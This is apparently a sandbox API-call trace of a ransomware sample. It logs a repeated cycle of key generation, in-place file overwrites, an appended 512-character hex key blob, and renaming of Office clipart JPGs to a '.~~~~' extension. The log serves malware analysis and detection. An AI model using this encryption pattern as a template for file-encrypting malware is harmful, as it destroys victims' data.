	[0107.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827418
	[0107.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.967] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.967] GetLastError () returned 0x0
	[0107.967] GetLastError () returned 0x0
	[0107.967] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.968] GetLastError () returned 0x0
	[0107.968] GetLastError () returned 0x0
	[0107.970] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffa5aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.970] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5a56, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x5a56, lpOverlapped=0x0) returned 1
	[0107.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.972] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.972] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.972] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.972] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.972] CloseHandle (hObject=0x140) returned 1
	[0107.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.~~~~")) returned 1
	[0107.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.973] GetLastError () returned 0x0
	[0107.975] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.976] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.976] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.976] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22796633758) returned 1
	[0107.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa076f30, dwHighDateTime=0x1d60e1e)) 
	[0107.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28077d0
	[0107.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28077d0 | out: hHeap=0x300000) returned 1
	[0107.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28278d8
	[0107.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.977] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.977] GetLastError () returned 0x0
	[0107.977] GetLastError () returned 0x0
	[0107.977] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.977] GetLastError () returned 0x0
	[0107.978] GetLastError () returned 0x0
	[0107.980] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff90bd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.980] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6f43, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x6f43, lpOverlapped=0x0) returned 1
	[0107.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.981] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.982] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.982] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.982] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.982] CloseHandle (hObject=0x140) returned 1
	[0107.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.982] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.~~~~")) returned 1
	[0107.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.983] GetLastError () returned 0x0
	[0107.984] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.985] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.985] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.985] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22797532878) returned 1
	[0107.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa076f30, dwHighDateTime=0x1d60e1e)) 
	[0107.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807840
	[0107.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0107.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807840 | out: hHeap=0x300000) returned 1
	[0107.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0107.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827970
	[0107.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.986] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.986] GetLastError () returned 0x0
	[0107.986] GetLastError () returned 0x0
	[0107.986] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.986] GetLastError () returned 0x0
	[0107.987] GetLastError () returned 0x0
	[0108.046] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff978d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.046] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6873, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x6873, lpOverlapped=0x0) returned 1
	[0108.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.050] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.050] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.050] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.050] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.050] CloseHandle (hObject=0x140) returned 1
	[0108.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0108.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.~~~~")) returned 1
	[0108.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.055] GetLastError () returned 0x0
	[0108.056] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.057] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.057] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.057] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22804752884) returned 1
	[0108.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa135610, dwHighDateTime=0x1d60e1e)) 
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807920
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807920 | out: hHeap=0x300000) returned 1
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0108.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827aa0
	[0108.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.058] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.058] GetLastError () returned 0x0
	[0108.059] GetLastError () returned 0x0
	[0108.059] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.059] GetLastError () returned 0x0
	[0108.059] GetLastError () returned 0x0
	[0108.066] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdfda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.066] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x2026, lpOverlapped=0x0) returned 1
	[0108.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.067] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.068] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.068] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.068] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.068] CloseHandle (hObject=0x140) returned 1
	[0108.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3a48
	[0108.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.~~~~")) returned 1
	[0108.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3a48 | out: hHeap=0x300000) returned 1
	[0108.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.070] GetLastError () returned 0x0
	[0108.070] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.071] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.071] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.071] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22806137132) returned 1
	[0108.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa15b770, dwHighDateTime=0x1d60e1e)) 
	[0108.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807958
	[0108.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807958 | out: hHeap=0x300000) returned 1
	[0108.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3a48
	[0108.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827d00
	[0108.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3a48 | out: hHeap=0x300000) returned 1
	[0108.072] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.072] GetLastError () returned 0x0
	[0108.072] GetLastError () returned 0x0
	[0108.072] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.072] GetLastError () returned 0x0
	[0108.073] GetLastError () returned 0x0
	[0108.075] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc209, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.075] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x3df7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x3df7, lpOverlapped=0x0) returned 1
	[0108.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.076] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.076] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.076] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.076] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.076] CloseHandle (hObject=0x140) returned 1
	[0108.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3af0
	[0108.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.~~~~")) returned 1
	[0108.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3af0 | out: hHeap=0x300000) returned 1
	[0108.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.078] GetLastError () returned 0x0
	[0108.078] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.079] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.079] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.080] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22806982850) returned 1
	[0108.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa15b770, dwHighDateTime=0x1d60e1e)) 
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807990
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807990 | out: hHeap=0x300000) returned 1
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
